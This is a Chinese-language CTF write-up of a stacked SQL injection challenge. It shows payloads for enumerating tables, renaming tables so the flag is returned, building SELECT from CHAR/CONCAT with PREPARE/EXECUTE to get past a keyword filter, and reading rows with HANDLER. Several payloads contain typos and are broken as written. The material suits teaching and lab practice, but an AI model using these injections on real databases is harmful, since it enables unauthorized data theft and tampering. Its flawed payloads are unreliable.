一、界面
二、常规思路
1、判断注入
报错,存在注入点。
2、看有多少字段
说明有两个字段
3、查看数据库
不给看,补充preg_match()函数:
这里就是过滤了一些关键字。
三、堆叠注入
1、堆叠注入概念
①原理
在SQL语句执行的过程当中,分好表示一条语句的结束。如果在分好后面再加一条语句,这条语句也可以被执行的话,可以再加。这样就可以一次执行多条语句。
②例子
mysql> select * from users where id=1;show database;
2、实践
①数据库
②表信息
③字段名
准备查看1919……这个表的字段名,发现
1';show colunms from 1919……;#
没有回显,百度一波。
有人这样说:
https://www.cnblogs.com/wjw-zm/p/12359735.html
MySQL中反引号和单引号的区别与用法
MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名等
引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
例如:
select * from `username` where `name`="peri0d"
1';show columns from `1919810931114514`; --+
可以看到flag就在这个表的下面。
③使用desc降序来查看表结构
1';desc words;
1';desc `1919810931114514`;#
四、解题
1、方法一 重命名
①1' or 1=1#
发现输出了所有信息
而这个信息,是words表中的。
查询语句可能是:
select id,data from words where id=
②把words表命名为words1,再重命名表1919为words,把列名flag改成id,配合1' or 1=1--+输出表的所有内容,来获取flag。
1';
rename table words to words1;
rename table `1919810931114514` to words;
alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
desc words;#
1' or 1=1#
③SQL ALTER TABLE语句
alter table 语句用于再已经有的表中添加、修改或删除列。
2、方法二 预定义绕过select
在上面的测试中,我们知道题目过滤了select,那么如果无法使用select的话,获取不了flag,怎么办呢?
①SQL语句预编译
SQL 语句的执行处理
1、即时 SQL
一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:
1. 词法和语义解析;
2. 优化 SQL 语句,制定执行计划;
3. 执行并返回结果;
如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。
2、预处理 SQL
但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。
②预处理SQL
a.预处理流程
SET; # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name; # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句
b.payload1:使用变量
1';
set @sql=CONCAT('se','lect * from `1919810931114514`;');#注意闭合
prepare stmt from sql;
ececute stmt;
了解一下strstr()函数,
区分大小写:
那么把SET,和PREPARE改成大写。
1';
SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');
PREPARE stmt @sqli;
EXECUTE stmt;#
这里的char(115,101,108,101,99,116)
就是'select',通过把select的ASCII码转换成select字符串,然后利用concat()函数进行拼接就得到了select查询语句,来绕过过滤。
c.payload2:不使用变量
1';
PREPARE stmt from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');
EXECUTE stmtl#
d.payload3:单纯拼接
1';
PREPARE sqli from concat('s','elect', ' * from `1919810931114514` ');
EXECUTE sqli;#
3、方法三 handler
参考:
https://www.cnblogs.com/chalan630/p/12583667.html
payload:
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;-- +
五、产生堆叠注入的原因
危险函数
mysqli_multi_query()